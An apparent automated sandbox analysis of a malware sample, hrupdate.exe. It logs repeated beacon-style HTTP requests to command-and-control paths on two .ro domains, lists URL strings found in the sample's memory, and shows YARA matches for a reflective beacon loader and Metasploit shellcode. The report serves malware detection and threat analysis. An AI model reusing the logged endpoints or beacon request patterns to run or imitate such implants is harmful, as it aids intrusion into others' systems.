Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /trakingu/user HTTP/1.0Host: www.hrtraining.ro
Source: global traffic	HTTP traffic detected: GET /trainingcheck_v5498 HTTP/1.0Host: www.hrtraining.ro

Source: global traffic

DNS traffic detected: DNS query: www.hrtraining.ro

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 19 Dec 2024 21:40:04 GMTContent-Type: text/htmlContent-Length: 162Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>

Source: hrupdate.exe	String found in binary or memory: http://www.hrtraining.ro/trainingcheck_v5498
Source: hrupdate.exe, 00000000.00000002.2943524353.0000000004C6C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.hrtraining.ro/trainingcheck_v5498b
Source: hrupdate.exe	String found in binary or memory: http://www.hrtraining.ro/trainingcheck_v5498dummyhttp://www.hrtraining.ro/trakingu/invalid
Source: hrupdate.exe	String found in binary or memory: http://www.hrtraining.ro/trakingu/
Source: hrupdate.exe, 00000000.00000002.2942801537.00000000010FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.hrtraining.ro/trakingu/user
Source: hrupdate.exe, 00000000.00000002.2942801537.00000000010FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.hrtraining.ro/trakingu/useruser
Source: hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/
Source: hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/:D2
Source: hrupdate.exe, 00000000.00000002.2942922670.0000000001289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/R
Source: hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.html
Source: hrupdate.exe, 00000000.00000003.2010673279.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.html&X2
Source: hrupdate.exe, 00000000.00000003.2672690716.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.html03
Source: hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.html:D2
Source: hrupdate.exe, 00000000.00000003.2010673279.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.html=
Source: hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.html=E3&
Source: hrupdate.exe, 00000000.00000002.2942922670.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmlA
Source: hrupdate.exe, 00000000.00000002.2942922670.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmlP
Source: hrupdate.exe, 00000000.00000003.2010673279.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmla
Source: hrupdate.exe, 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmlg
Source: hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmloD
Source: hrupdate.exe, 00000000.00000003.2166521732.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmlp2
Source: hrupdate.exe, 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmlw
Source: hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/ss/portallogin-gettask.html
Source: hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/training.ro/rss/portallogin-gettask.htmlQG

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown

HTTPS traffic detected: 3.79.209.76:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Rule for beacon reflective loader Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
